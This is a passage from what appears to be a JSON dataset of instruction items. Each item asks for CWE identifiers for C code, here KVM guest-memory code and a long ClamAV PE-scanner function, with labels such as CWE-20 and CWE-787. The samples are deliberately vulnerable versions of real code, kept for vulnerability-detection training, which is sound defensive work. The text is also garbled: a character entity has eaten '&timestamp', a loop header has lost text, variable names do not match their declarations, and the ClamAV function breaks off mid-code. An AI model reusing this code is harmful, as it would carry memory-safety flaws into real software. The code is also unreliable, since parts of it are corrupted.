(kvm_is_error_hva(addr))\n\t\treturn -EFAULT;\n\tr = copy_from_user(data, (void __user *)addr + offset, len);\n\tif (r)\n\t\treturn -EFAULT;\n\treturn 0;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-20', 'CWE-787'], 'message': 'KVM: Validate userspace_addr of memslot when registered\n\nThis way, we can avoid checking the user space address many times when\nwe read the guest memory.\n\nAlthough we can do the same for write if we check which slots are\nwritable, we do not care write now: reading the guest memory happens\nmore often than writing.\n\n[avi: change VERIFY_READ to VERIFY_WRITE]\n\nSigned-off-by: Takuya Yoshikawa \nSigned-off-by: Avi Kivity '" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: \nint cli_scanpe(cli_ctx *ctx)\n{\n\tuint16_t e_magic; /* DOS signature (\"MZ\") */\n\tuint16_t nsections;\n\tuint32_t e_lfanew; /* address of new exe header */\n\tuint32_t ep, vep; /* entry point (raw, virtual) */\n\tuint8_t polipos = 0;\n\ttime_t timestamp;\n\tstruct pe_image_file_hdr file_hdr;\n\tunion {\n\t struct pe_image_optional_hdr64 opt64;\n\t struct pe_image_optional_hdr32 opt32;\n\t} pe_opt;\n\tstruct pe_image_section_hdr *section_hdr;\n\tchar sname[9], epbuff[4096], *tempfile;\n\tuint32_t epsize;\n\tssize_t bytes, at;\n\tunsigned int i, found, upx_success = 0, min = 0, max = 0, err, overlays = 0;\n\tunsigned int ssize = 0, dsize = 0, dll = 0, pe_plus = 0, corrupted_cur;\n\tint (*upxfn)(char *, uint32_t, char *, uint32_t *, uint32_t, uint32_t, uint32_t) = NULL;\n\tchar *src = NULL, *dest = NULL;\n\tint ndesc, ret = CL_CLEAN, upack = 0, native=0;\n\tsize_t fsize;\n\tuint32_t valign, falign, hdr_size, j;\n\tstruct cli_exe_section *exe_sections;\n\tstruct cli_matcher *md5_sect;\n\tchar timestr[32];\n\tstruct pe_image_data_dir *dirs;\n\tstruct cli_bc_ctx *bc_ctx;\n\tfmap_t *map;\n\tstruct cli_pe_hook_data pedata;\n#ifdef HAVE__INTERNAL__SHA_COLLECT\n\tint sha_collect = ctx->sha_collect;\n#endif\n\tconst char * virname = NULL;\n\tuint32_t viruses_found = 0;\n\n if(!ctx) {\n\tcli_errmsg(\"cli_scanpe: ctx == NULL\\n\");\n\treturn CL_ENULLARG;\n }\n map = *ctx->fmap;\n if(fmap_readn(map, &e_magic, 0, sizeof(e_magic)) != sizeof(e_magic)) {\n\tcli_dbgmsg(\"Can't read DOS signature\\n\");\n\treturn CL_CLEAN;\n }\n\n if(EC16(e_magic) != PE_IMAGE_DOS_SIGNATURE && EC16(e_magic) != PE_IMAGE_DOS_SIGNATURE_OLD) {\n\tcli_dbgmsg(\"Invalid DOS signature\\n\");\n\treturn CL_CLEAN;\n }\n\n if(fmap_readn(map, &e_lfanew, 58 + sizeof(e_magic), sizeof(e_lfanew)) != sizeof(e_lfanew)) {\n\tcli_dbgmsg(\"Can't read new header address\\n\");\n\t/* truncated header? */\n\tif(DETECT_BROKEN_PE) {\n\t cli_append_virus(ctx,\"Heuristics.Broken.Executable\");\n\t return CL_VIRUS;\n\t}\n\treturn CL_CLEAN;\n }\n\n e_lfanew = EC32(e_lfanew);\n cli_dbgmsg(\"e_lfanew == %d\\n\", e_lfanew);\n if(!e_lfanew) {\n\tcli_dbgmsg(\"Not a PE file\\n\");\n\treturn CL_CLEAN;\n }\n\n if(fmap_readn(map, &file_hdr, e_lfanew, sizeof(struct pe_image_file_hdr)) != sizeof(struct pe_image_file_hdr)) {\n\t/* bad information in e_lfanew - probably not a PE file */\n\tcli_dbgmsg(\"Can't read file header\\n\");\n\treturn CL_CLEAN;\n }\n\n if(EC32(file_hdr.Magic) != PE_IMAGE_NT_SIGNATURE) {\n\tcli_dbgmsg(\"Invalid PE signature (probably NE file)\\n\");\n\treturn CL_CLEAN;\n }\n\n if(EC16(file_hdr.Characteristics) & 0x2000) {\n\tcli_dbgmsg(\"File type: DLL\\n\");\n\tdll = 1;\n } else if(EC16(file_hdr.Characteristics) & 0x01) {\n\tcli_dbgmsg(\"File type: Executable\\n\");\n }\n\n switch(EC16(file_hdr.Machine)) {\n\tcase 0x0:\n\t cli_dbgmsg(\"Machine type: Unknown\\n\");\n\t break;\n\tcase 0x14c:\n\t cli_dbgmsg(\"Machine type: 80386\\n\");\n\t break;\n\tcase 0x14d:\n\t cli_dbgmsg(\"Machine type: 80486\\n\");\n\t break;\n\tcase 0x14e:\n\t cli_dbgmsg(\"Machine type: 80586\\n\");\n\t break;\n\tcase 0x160:\n\t cli_dbgmsg(\"Machine type: R30000 (big-endian)\\n\");\n\t break;\n\tcase 0x162:\n\t cli_dbgmsg(\"Machine type: R3000\\n\");\n\t break;\n\tcase 0x166:\n\t cli_dbgmsg(\"Machine type: R4000\\n\");\n\t break;\n\tcase 0x168:\n\t cli_dbgmsg(\"Machine type: R10000\\n\");\n\t break;\n\tcase 0x184:\n\t cli_dbgmsg(\"Machine type: DEC Alpha AXP\\n\");\n\t break;\n\tcase 0x284:\n\t cli_dbgmsg(\"Machine type: DEC Alpha AXP 64bit\\n\");\n\t break;\n\tcase 0x1f0:\n\t cli_dbgmsg(\"Machine type: PowerPC\\n\");\n\t break;\n\tcase 0x200:\n\t cli_dbgmsg(\"Machine type: IA64\\n\");\n\t break;\n\tcase 0x268:\n\t cli_dbgmsg(\"Machine type: M68k\\n\");\n\t break;\n\tcase 0x266:\n\t cli_dbgmsg(\"Machine type: MIPS16\\n\");\n\t break;\n\tcase 0x366:\n\t cli_dbgmsg(\"Machine type: MIPS+FPU\\n\");\n\t break;\n\tcase 0x466:\n\t cli_dbgmsg(\"Machine type: MIPS16+FPU\\n\");\n\t break;\n\tcase 0x1a2:\n\t cli_dbgmsg(\"Machine type: Hitachi SH3\\n\");\n\t break;\n\tcase 0x1a3:\n\t cli_dbgmsg(\"Machine type: Hitachi SH3-DSP\\n\");\n\t break;\n\tcase 0x1a4:\n\t cli_dbgmsg(\"Machine type: Hitachi SH3-E\\n\");\n\t break;\n\tcase 0x1a6:\n\t cli_dbgmsg(\"Machine type: Hitachi SH4\\n\");\n\t break;\n\tcase 0x1a8:\n\t cli_dbgmsg(\"Machine type: Hitachi SH5\\n\");\n\t break;\n\tcase 0x1c0:\n\t cli_dbgmsg(\"Machine type: ARM\\n\");\n\t break;\n\tcase 0x1c2:\n\t cli_dbgmsg(\"Machine type: THUMB\\n\");\n\t break;\n\tcase 0x1d3:\n\t cli_dbgmsg(\"Machine type: AM33\\n\");\n\t break;\n\tcase 0x520:\n\t cli_dbgmsg(\"Machine type: Infineon TriCore\\n\");\n\t break;\n\tcase 0xcef:\n\t cli_dbgmsg(\"Machine type: CEF\\n\");\n\t break;\n\tcase 0xebc:\n\t cli_dbgmsg(\"Machine type: EFI Byte Code\\n\");\n\t break;\n\tcase 0x9041:\n\t cli_dbgmsg(\"Machine type: M32R\\n\");\n\t break;\n\tcase 0xc0ee:\n\t cli_dbgmsg(\"Machine type: CEE\\n\");\n\t break;\n\tcase 0x8664:\n\t cli_dbgmsg(\"Machine type: AMD64\\n\");\n\t break;\n\tdefault:\n\t cli_dbgmsg(\"Machine type: ** UNKNOWN ** (0x%x)\\n\", EC16(file_hdr.Machine));\n }\n\n nsections = EC16(file_hdr.NumberOfSections);\n if(nsections < 1 || nsections > 96) {\n\tif(DETECT_BROKEN_PE) {\n\t cli_append_virus(ctx,\"Heuristics.Broken.Executable\");\n\t return CL_VIRUS;\n\t}\n\tif(!ctx->corrupted_input) {\n\t if(nsections)\n\t\tcli_warnmsg(\"PE file contains %d sections\\n\", nsections);\n\t else\n\t\tcli_warnmsg(\"PE file contains no sections\\n\");\n\t}\n\treturn CL_CLEAN;\n }\n cli_dbgmsg(\"NumberOfSections: %d\\n\", nsections);\n\n timestamp = (time_t) EC32(file_hdr.TimeDateStamp);\n cli_dbgmsg(\"TimeDateStamp: %s\", cli_ctime(×tamp, timestr, sizeof(timestr)));\n\n cli_dbgmsg(\"SizeOfOptionalHeader: %x\\n\", EC16(file_hdr.SizeOfOptionalHeader));\n\n if (EC16(file_hdr.SizeOfOptionalHeader) < sizeof(struct pe_image_optional_hdr32)) {\n cli_dbgmsg(\"SizeOfOptionalHeader too small\\n\");\n\tif(DETECT_BROKEN_PE) {\n\t cli_append_virus(ctx,\"Heuristics.Broken.Executable\");\n\t return CL_VIRUS;\n\t}\n\treturn CL_CLEAN;\n }\n\n at = e_lfanew + sizeof(struct pe_image_file_hdr);\n if(fmap_readn(map, &optional_hdr32, at, sizeof(struct pe_image_optional_hdr32)) != sizeof(struct pe_image_optional_hdr32)) {\n cli_dbgmsg(\"Can't read optional file header\\n\");\n\tif(DETECT_BROKEN_PE) {\n\t cli_append_virus(ctx,\"Heuristics.Broken.Executable\");\n\t return CL_VIRUS;\n\t}\n\treturn CL_CLEAN;\n }\n at += sizeof(struct pe_image_optional_hdr32);\n\n /* This will be a chicken and egg problem until we drop 9x */\n if(EC16(optional_hdr64.Magic)==PE32P_SIGNATURE) {\n if(EC16(file_hdr.SizeOfOptionalHeader)!=sizeof(struct pe_image_optional_hdr64)) {\n\t /* FIXME: need to play around a bit more with xp64 */\n\t cli_dbgmsg(\"Incorrect SizeOfOptionalHeader for PE32+\\n\");\n\t if(DETECT_BROKEN_PE) {\n\t\tcli_append_virus(ctx,\"Heuristics.Broken.Executable\");\n\t\treturn CL_VIRUS;\n\t }\n\t return CL_CLEAN;\n\t}\n\tpe_plus = 1;\n }\n\n if(!pe_plus) { /* PE */\n\tif (EC16(file_hdr.SizeOfOptionalHeader)!=sizeof(struct pe_image_optional_hdr32)) {\n\t /* Seek to the end of the long header */\n\t at += EC16(file_hdr.SizeOfOptionalHeader)-sizeof(struct pe_image_optional_hdr32);\n\t}\n\n\tif(DCONF & PE_CONF_UPACK)\n\t upack = (EC16(file_hdr.SizeOfOptionalHeader)==0x148);\n\n\tvep = EC32(optional_hdr32.AddressOfEntryPoint);\n\thdr_size = EC32(optional_hdr32.SizeOfHeaders);\n\tcli_dbgmsg(\"File format: PE\\n\");\n\n\tcli_dbgmsg(\"MajorLinkerVersion: %d\\n\", optional_hdr32.MajorLinkerVersion);\n\tcli_dbgmsg(\"MinorLinkerVersion: %d\\n\", optional_hdr32.MinorLinkerVersion);\n\tcli_dbgmsg(\"SizeOfCode: 0x%x\\n\", EC32(optional_hdr32.SizeOfCode));\n\tcli_dbgmsg(\"SizeOfInitializedData: 0x%x\\n\", EC32(optional_hdr32.SizeOfInitializedData));\n\tcli_dbgmsg(\"SizeOfUninitializedData: 0x%x\\n\", EC32(optional_hdr32.SizeOfUninitializedData));\n\tcli_dbgmsg(\"AddressOfEntryPoint: 0x%x\\n\", vep);\n\tcli_dbgmsg(\"BaseOfCode: 0x%x\\n\", EC32(optional_hdr32.BaseOfCode));\n\tcli_dbgmsg(\"SectionAlignment: 0x%x\\n\", EC32(optional_hdr32.SectionAlignment));\n\tcli_dbgmsg(\"FileAlignment: 0x%x\\n\", EC32(optional_hdr32.FileAlignment));\n\tcli_dbgmsg(\"MajorSubsystemVersion: %d\\n\", EC16(optional_hdr32.MajorSubsystemVersion));\n\tcli_dbgmsg(\"MinorSubsystemVersion: %d\\n\", EC16(optional_hdr32.MinorSubsystemVersion));\n\tcli_dbgmsg(\"SizeOfImage: 0x%x\\n\", EC32(optional_hdr32.SizeOfImage));\n\tcli_dbgmsg(\"SizeOfHeaders: 0x%x\\n\", hdr_size);\n\tcli_dbgmsg(\"NumberOfRvaAndSizes: %d\\n\", EC32(optional_hdr32.NumberOfRvaAndSizes));\n\tdirs = optional_hdr32.DataDirectory;\n\n } else { /* PE+ */\n /* read the remaining part of the header */\n if(fmap_readn(map, &optional_hdr32 + 1, at, sizeof(struct pe_image_optional_hdr64) - sizeof(struct pe_image_optional_hdr32)) != sizeof(struct pe_image_optional_hdr64) - sizeof(struct pe_image_optional_hdr32)) {\n\t cli_dbgmsg(\"Can't read optional file header\\n\");\n\t if(DETECT_BROKEN_PE) {\n\t\tcli_append_virus(ctx,\"Heuristics.Broken.Executable\");\n\t\treturn CL_VIRUS;\n\t }\n\t return CL_CLEAN;\n\t}\n\tat += sizeof(struct pe_image_optional_hdr64) - sizeof(struct pe_image_optional_hdr32);\n\tvep = EC32(optional_hdr64.AddressOfEntryPoint);\n\thdr_size = EC32(optional_hdr64.SizeOfHeaders);\n\tcli_dbgmsg(\"File format: PE32+\\n\");\n\n\tcli_dbgmsg(\"MajorLinkerVersion: %d\\n\", optional_hdr64.MajorLinkerVersion);\n\tcli_dbgmsg(\"MinorLinkerVersion: %d\\n\", optional_hdr64.MinorLinkerVersion);\n\tcli_dbgmsg(\"SizeOfCode: 0x%x\\n\", EC32(optional_hdr64.SizeOfCode));\n\tcli_dbgmsg(\"SizeOfInitializedData: 0x%x\\n\", EC32(optional_hdr64.SizeOfInitializedData));\n\tcli_dbgmsg(\"SizeOfUninitializedData: 0x%x\\n\", EC32(optional_hdr64.SizeOfUninitializedData));\n\tcli_dbgmsg(\"AddressOfEntryPoint: 0x%x\\n\", vep);\n\tcli_dbgmsg(\"BaseOfCode: 0x%x\\n\", EC32(optional_hdr64.BaseOfCode));\n\tcli_dbgmsg(\"SectionAlignment: 0x%x\\n\", EC32(optional_hdr64.SectionAlignment));\n\tcli_dbgmsg(\"FileAlignment: 0x%x\\n\", EC32(optional_hdr64.FileAlignment));\n\tcli_dbgmsg(\"MajorSubsystemVersion: %d\\n\", EC16(optional_hdr64.MajorSubsystemVersion));\n\tcli_dbgmsg(\"MinorSubsystemVersion: %d\\n\", EC16(optional_hdr64.MinorSubsystemVersion));\n\tcli_dbgmsg(\"SizeOfImage: 0x%x\\n\", EC32(optional_hdr64.SizeOfImage));\n\tcli_dbgmsg(\"SizeOfHeaders: 0x%x\\n\", hdr_size);\n\tcli_dbgmsg(\"NumberOfRvaAndSizes: %d\\n\", EC32(optional_hdr64.NumberOfRvaAndSizes));\n\tdirs = optional_hdr64.DataDirectory;\n }\n\n\n switch(pe_plus ? EC16(optional_hdr64.Subsystem) : EC16(optional_hdr32.Subsystem)) {\n\tcase 0:\n\t cli_dbgmsg(\"Subsystem: Unknown\\n\");\n\t break;\n\tcase 1:\n\t cli_dbgmsg(\"Subsystem: Native (svc)\\n\");\n\t native = 1;\n\t break;\n\tcase 2:\n\t cli_dbgmsg(\"Subsystem: Win32 GUI\\n\");\n\t break;\n\tcase 3:\n\t cli_dbgmsg(\"Subsystem: Win32 console\\n\");\n\t break;\n\tcase 5:\n\t cli_dbgmsg(\"Subsystem: OS/2 console\\n\");\n\t break;\n\tcase 7:\n\t cli_dbgmsg(\"Subsystem: POSIX console\\n\");\n\t break;\n\tcase 8:\n\t cli_dbgmsg(\"Subsystem: Native Win9x driver\\n\");\n\t break;\n\tcase 9:\n\t cli_dbgmsg(\"Subsystem: WinCE GUI\\n\");\n\t break;\n\tcase 10:\n\t cli_dbgmsg(\"Subsystem: EFI application\\n\");\n\t break;\n\tcase 11:\n\t cli_dbgmsg(\"Subsystem: EFI driver\\n\");\n\t break;\n\tcase 12:\n\t cli_dbgmsg(\"Subsystem: EFI runtime driver\\n\");\n\t break;\n\tcase 13:\n\t cli_dbgmsg(\"Subsystem: EFI ROM image\\n\");\n\t break;\n\tcase 14:\n\t cli_dbgmsg(\"Subsystem: Xbox\\n\");\n\t break;\n\tcase 16:\n\t cli_dbgmsg(\"Subsystem: Boot application\\n\");\n\t break;\n\tdefault:\n\t cli_dbgmsg(\"Subsystem: ** UNKNOWN ** (0x%x)\\n\", pe_plus ? EC16(optional_hdr64.Subsystem) : EC16(optional_hdr32.Subsystem));\n }\n\n cli_dbgmsg(\"------------------------------------\\n\");\n\n if (DETECT_BROKEN_PE && !native && (!(pe_plus?EC32(optional_hdr64.SectionAlignment):EC32(optional_hdr32.SectionAlignment)) || (pe_plus?EC32(optional_hdr64.SectionAlignment):EC32(optional_hdr32.SectionAlignment))%0x1000)) {\n cli_dbgmsg(\"Bad virtual alignment\\n\");\n\tcli_append_virus(ctx,\"Heuristics.Broken.Executable\");\n\treturn CL_VIRUS;\n }\n\n if (DETECT_BROKEN_PE && !native && (!(pe_plus?EC32(optional_hdr64.FileAlignment):EC32(optional_hdr32.FileAlignment)) || (pe_plus?EC32(optional_hdr64.FileAlignment):EC32(optional_hdr32.FileAlignment))%0x200)) {\n cli_dbgmsg(\"Bad file alignment\\n\");\n\tcli_append_virus(ctx, \"Heuristics.Broken.Executable\");\n\treturn CL_VIRUS;\n }\n\n fsize = map->len;\n\n section_hdr = (struct pe_image_section_hdr *) cli_calloc(nsections, sizeof(struct pe_image_section_hdr));\n\n if(!section_hdr) {\n\tcli_dbgmsg(\"Can't allocate memory for section headers\\n\");\n\treturn CL_EMEM;\n }\n\n exe_sections = (struct cli_exe_section *) cli_calloc(nsections, sizeof(struct cli_exe_section));\n \n if(!exe_sections) {\n\tcli_dbgmsg(\"Can't allocate memory for section headers\\n\");\n\tfree(section_hdr);\n\treturn CL_EMEM;\n }\n\n valign = (pe_plus)?EC32(optional_hdr64.SectionAlignment):EC32(optional_hdr32.SectionAlignment);\n falign = (pe_plus)?EC32(optional_hdr64.FileAlignment):EC32(optional_hdr32.FileAlignment);\n\n if(fmap_readn(map, section_hdr, at, sizeof(struct pe_image_section_hdr)*nsections) != (int)(nsections*sizeof(struct pe_image_section_hdr))) {\n cli_dbgmsg(\"Can't read section header\\n\");\n\tcli_dbgmsg(\"Possibly broken PE file\\n\");\n\tfree(section_hdr);\n\tfree(exe_sections);\n\tif(DETECT_BROKEN_PE) {\n\t cli_append_virus(ctx,\"Heuristics.Broken.Executable\");\n\t return CL_VIRUS;\n\t}\n\treturn CL_CLEAN;\n }\n at += sizeof(struct pe_image_section_hdr)*nsections;\n\n for(i = 0; falign!=0x200 && iexe_sections[i].raw && !CLI_ISCONTAINED(0, (uint32_t) fsize, exe_sections[i].raw, exe_sections[i].rsz))\n\t exe_sections[i].rsz = fsize - exe_sections[i].raw;\n\t\n\tcli_dbgmsg(\"Section %d\\n\", i);\n\tcli_dbgmsg(\"Section name: %s\\n\", sname);\n\tcli_dbgmsg(\"Section data (from headers - in memory)\\n\");\n\tcli_dbgmsg(\"VirtualSize: 0x%x 0x%x\\n\", exe_sections[i].uvsz, exe_sections[i].vsz);\n\tcli_dbgmsg(\"VirtualAddress: 0x%x 0x%x\\n\", exe_sections[i].urva, exe_sections[i].rva);\n\tcli_dbgmsg(\"SizeOfRawData: 0x%x 0x%x\\n\", exe_sections[i].ursz, exe_sections[i].rsz);\n\tcli_dbgmsg(\"PointerToRawData: 0x%x 0x%x\\n\", exe_sections[i].uraw, exe_sections[i].raw);\n\n\tif(exe_sections[i].chr & 0x20) {\n\t cli_dbgmsg(\"Section contains executable code\\n\");\n\n\t if(exe_sections[i].vsz < exe_sections[i].rsz) {\n\t\tcli_dbgmsg(\"Section contains free space\\n\");\n\t\t/*\n\t\tcli_dbgmsg(\"Dumping %d bytes\\n\", section_hdr.SizeOfRawData - section_hdr.VirtualSize);\n\t\tddump(desc, section_hdr.PointerToRawData + section_hdr.VirtualSize, section_hdr.SizeOfRawData - section_hdr.VirtualSize, cli_gentemp(NULL));\n\t\t*/\n\n\t }\n\t}\n\n\tif(exe_sections[i].chr & 0x20000000)\n\t cli_dbgmsg(\"Section's memory is executable\\n\");\n\n\tif(exe_sections[i].chr & 0x80000000)\n\t cli_dbgmsg(\"Section's memory is writeable\\n\");\n\n\tif (DETECT_BROKEN_PE && (!valign || (exe_sections[i].urva % valign))) { /* Bad virtual alignment */\n\t cli_dbgmsg(\"VirtualAddress is misaligned\\n\");\n\t cli_dbgmsg(\"------------------------------------\\n\");\n\t cli_append_virus(ctx, \"Heuristics.Broken.Executable\");\n\t free(section_hdr);\n\t free(exe_sections);\n\t return CL_VIRUS;\n\t}\n\n\tif (exe_sections[i].rsz) { /* Don't bother with virtual only sections */\n\t if (exe_sections[i].raw >= fsize) { /* really broken */\n\t cli_dbgmsg(\"Broken PE file - Section %d starts beyond the end of file (Offset@ %lu, Total filesize %lu)\\n\", i, (unsigned long)exe_sections[i].raw, (unsigned long)fsize);\n\t\tcli_dbgmsg(\"------------------------------------\\n\");\n\t\tfree(section_hdr);\n\t\tfree(exe_sections);\n\t\tif(DETECT_BROKEN_PE) {\n\t\t cli_append_virus(ctx, \"Heuristics.Broken.Executable\");\n\t\t return CL_VIRUS;\n\t\t}\n\t\treturn CL_CLEAN; /* no ninjas to see here! move along! */\n\t }\n\n\t if(SCAN_ALGO && (DCONF & PE_CONF_POLIPOS) && !*sname && exe_sections[i].vsz > 40000 && exe_sections[i].vsz < 70000 && exe_sections[i].chr == 0xe0000060) polipos = i;\n\n\t /* check MD5 section sigs */\n\t md5_sect = ctx->engine->hm_mdb;\n\t if((DCONF & PE_CONF_MD5SECT) && md5_sect) {\n\t\tunsigned char md5_dig[16];\n\t\tif(cli_hm_have_size(md5_sect, CLI_HASH_MD5, exe_sections[i].rsz) && \n\t\t cli_md5sect(map, &exe_sections[i], md5_dig) &&\n\t\t cli_hm_scan(md5_dig, exe_sections[i].rsz, &virname, md5_sect, CLI_HASH_MD5) == CL_VIRUS) {\n\t\t cli_append_virus(ctx, virname);\n\t\t if(cli_hm_scan(md5_dig, fsize, NULL, ctx->engine->hm_fp, CLI_HASH_MD5) != CL_VIRUS) {\n\t\t\tif (!SCAN_ALL) {\n\t\t\t cli_dbgmsg(\"------------------------------------\\n\");\n\t\t\t free(section_hdr);\n\t\t\t free(exe_sections);\n\t\t\t return CL_VIRUS;\n\t\t\t}\n\t\t }\n\t\t viruses_found++;\n\t\t}\n\t }\n\n\t}\n\n\tcli_dbgmsg(\"------------------------------------\\n\");\n\n\tif (exe_sections[i].urva>>31 || exe_sections[i].uvsz>>31 || (exe_sections[i].rsz && exe_sections[i].uraw>>31) || exe_sections[i].ursz>>31) {\n\t cli_dbgmsg(\"Found PE values with sign bit set\\n\");\n\t free(section_hdr);\n\t free(exe_sections);\n\t if(DETECT_BROKEN_PE) {\n\t\tcli_append_virus(ctx, \"Heuristics.Broken.Executable\");\n\t\treturn CL_VIRUS;\n\t }\n\t return CL_CLEAN;\n\t}\n\n\tif(!i) {\n\t if (DETECT_BROKEN_PE && exe_sections[i].urva!=hdr_size) { /* Bad first section RVA */\n\t cli_dbgmsg(\"First section is in the wrong place\\n\");\n\t\tcli_append_virus(ctx, \"Heuristics.Broken.Executable\");\n\t\tfree(section_hdr);\n\t\tfree(exe_sections);\n\t\treturn CL_VIRUS;\n\t }\n\t min = exe_sections[i].rva;\n\t max = exe_sections[i].rva + exe_sections[i].rsz;\n\t} else {\n\t if (DETECT_BROKEN_PE && exe_sections[i].urva - exe_sections[i-1].urva != exe_sections[i-1].vsz) { /* No holes, no overlapping, no virtual disorder */\n\t cli_dbgmsg(\"Virtually misplaced section (wrong order, overlapping, non contiguous)\\n\");\n\t\tcli_append_virus(ctx, \"Heuristics.Broken.Executable\");\n\t\tfree(section_hdr);\n\t\tfree(exe_sections);\n\t\treturn CL_VIRUS;\n\t }\n\t if(exe_sections[i].rva < min)\n\t min = exe_sections[i].rva;\n\n\t if(exe_sections[i].rva + exe_sections[i].rsz > max) {\n\t max = exe_sections[i].rva + exe_sections[i].rsz;\n\t\toverlays = exe_sections[i].raw + exe_sections[i].rsz;\n\t }\n\t}\n }\n\n free(section_hdr);\n\n if(!(ep = cli_rawaddr(vep, exe_sections, nsections, &err, fsize, hdr_size)) && err) {\n\tcli_dbgmsg(\"EntryPoint out of file\\n\");\n\tfree(exe_sections);\n\tif(DETECT_BROKEN_PE) {\n\t cli_append_virus(ctx,\"Heuristics.Broken.Executable\");\n\t return CL_VIRUS;\n\t}\n\treturn CL_CLEAN;\n }\n\n cli_dbgmsg(\"EntryPoint offset: 0x%x (%d)\\n\", ep, ep);\n\n if(pe_plus) { /* Do not continue for PE32+ files */\n\tfree(exe_sections);\n\treturn CL_CLEAN;\n }\n\n epsize = fmap_readn(map, epbuff, ep, 4096);\n\n\n /* Disasm scan disabled since it's now handled by the bytecode */\n\n /* CLI_UNPTEMP(\"DISASM\",(exe_sections,0)); */\n /* if(disasmbuf((unsigned char*)epbuff, epsize, ndesc)) */\n /* \tret = cli_scandesc(ndesc, ctx, CL_TYPE_PE_DISASM, 1, NULL, AC_SCAN_VIR); */\n /* close(ndesc); */\n /* CLI_TMPUNLK(); */\n /* free(tempfile); */\n /* if(ret == CL_VIRUS) { */\n /* \tfree(exe_sections); */\n /* \treturn ret; */\n /* } */\n\n if(overlays) {\n\tint overlays_sz = fsize - overlays;\n\tif(overlays_sz > 0) {\n\t ret = cli_scanishield(ctx, overlays, overlays_sz);\n\t if(ret != CL_CLEAN) {\n\t\tfree(exe_sections);\n\t\treturn ret;\n\t }\n\t}\n }\n\n pedata.nsections = nsections;\n pedata.ep = ep;\n pedata.offset = 0;\n memcpy(&pedata.file_hdr, &file_hdr, sizeof(file_hdr));\n memcpy(&pedata.opt32, &pe_opt.opt32, sizeof(pe_opt.opt32));\n memcpy(&pedata.opt64, &pe_opt.opt64, sizeof(pe_opt.opt64));\n memcpy(&pedata.dirs, dirs, sizeof(pedata.dirs));\n pedata.e_lfanew = e_lfanew;\n pedata.overlays = overlays;\n pedata.overlays_sz = fsize - overlays;\n pedata.hdr_size = hdr_size;\n\n /* Bytecode BC_PE_ALL hook */\n bc_ctx = cli_bytecode_context_alloc();\n if (!bc_ctx) {\n\tcli_errmsg(\"cli_scanpe: can't allocate memory for bc_ctx\\n\");\n\treturn CL_EMEM;\n }\n cli_bytecode_context_setpe(bc_ctx, &pedata, exe_sections);\n cli_bytecode_context_setctx(bc_ctx, ctx);\n ret = cli_bytecode_runhook(ctx, ctx->engine, bc_ctx, BC_PE_ALL, map);\n if (ret == CL_VIRUS || ret == CL_BREAK) {\n\tfree(exe_sections);\n\tcli_bytecode_context_destroy(bc_ctx);\n\treturn ret == CL_VIRUS ? CL_VIRUS : CL_CLEAN;\n }\n cli_bytecode_context_destroy(bc_ctx);\n\n /* Attempt to detect some popular polymorphic viruses */\n\n /* W32.Parite.B */\n if(SCAN_ALGO && (DCONF & PE_CONF_PARITE) && !dll && epsize == 4096 && ep == exe_sections[nsections - 1].raw) {\n const char *pt = cli_memstr(epbuff, 4040, \"\\x47\\x65\\x74\\x50\\x72\\x6f\\x63\\x41\\x64\\x64\\x72\\x65\\x73\\x73\\x00\", 15);\n\tif(pt) {\n\t pt += 15;\n\t if((((uint32_t)cli_readint32(pt) ^ (uint32_t)cli_readint32(pt + 4)) == 0x505a4f) && (((uint32_t)cli_readint32(pt + 8) ^ (uint32_t)cli_readint32(pt + 12)) == 0xffffb) && (((uint32_t)cli_readint32(pt + 16) ^ (uint32_t)cli_readint32(pt + 20)) == 0xb8)) {\n\t cli_append_virus(ctx,\"Heuristics.W32.Parite.B\");\n\t\tif (!SCAN_ALL) {\n\t\t free(exe_sections);\n\t\t return CL_VIRUS;\n\t\t}\n\t\tviruses_found++;\n\t }\n\t}\n }\n\n /* Kriz */\n if(SCAN_ALGO && (DCONF & PE_CONF_KRIZ) && epsize >= 200 && CLI_ISCONTAINED(exe_sections[nsections - 1].raw, exe_sections[nsections - 1].rsz, ep, 0x0fd2) && epbuff[1]=='\\x9c' && epbuff[2]=='\\x60') {\n\tenum {KZSTRASH,KZSCDELTA,KZSPDELTA,KZSGETSIZE,KZSXORPRFX,KZSXOR,KZSDDELTA,KZSLOOP,KZSTOP};\n\tuint8_t kzs[] = {KZSTRASH,KZSCDELTA,KZSPDELTA,KZSGETSIZE,KZSTRASH,KZSXORPRFX,KZSXOR,KZSTRASH,KZSDDELTA,KZSTRASH,KZSLOOP,KZSTOP};\n\tuint8_t *kzstate = kzs;\n\tuint8_t *kzcode = (uint8_t *)epbuff + 3;\n\tuint8_t kzdptr=0xff, kzdsize=0xff;\n\tint kzlen = 197, kzinitlen=0xffff, kzxorlen=-1;\n\tcli_dbgmsg(\"in kriz\\n\");\n\n\twhile(*kzstate!=KZSTOP) {\n\t uint8_t op;\n\t if(kzlen<=6) break;\n\t op = *kzcode++;\n\t kzlen--;\n\t switch (*kzstate) {\n\t case KZSTRASH: case KZSGETSIZE: {\n\t\tint opsz=0;\n\t\tswitch(op) {\n\t\tcase 0x81:\n\t\t kzcode+=5;\n\t\t kzlen-=5;\n\t\t break;\n\t\tcase 0xb8: case 0xb9: case 0xba: case 0xbb: case 0xbd: case 0xbe: case 0xbf:\n\t\t if(*kzstate==KZSGETSIZE && cli_readint32(kzcode)==0x0fd2) {\n\t\t\tkzinitlen = kzlen-5;\n\t\t\tkzdsize=op-0xb8;\n\t\t\tkzstate++;\n\t\t\top=4; /* fake the register to avoid breaking out */\n\t\t\tcli_dbgmsg(\"kriz: using #%d as size counter\\n\", kzdsize);\n\t\t }\n\t\t opsz=4;\n\t\tcase 0x48: case 0x49: case 0x4a: case 0x4b: case 0x4d: case 0x4e: case 0x4f:\n\t\t op&=7;\n\t\t if(op!=kzdptr && op!=kzdsize) {\n\t\t\tkzcode+=opsz;\n\t\t\tkzlen-=opsz;\n\t\t\tbreak;\n\t\t }\n\t\tdefault:\n\t\t kzcode--;\n\t\t kzlen++;\n\t\t kzstate++;\n\t\t}\n\t\tbreak;\n\t }\n\t case KZSCDELTA:\n\t\tif(op==0xe8 && (uint32_t)cli_readint32(kzcode) < 0xff) {\n\t\t kzlen-=*kzcode+4;\n\t\t kzcode+=*kzcode+4;\n\t\t kzstate++;\n\t\t} else *kzstate=KZSTOP;\n\t\tbreak;\n\t case 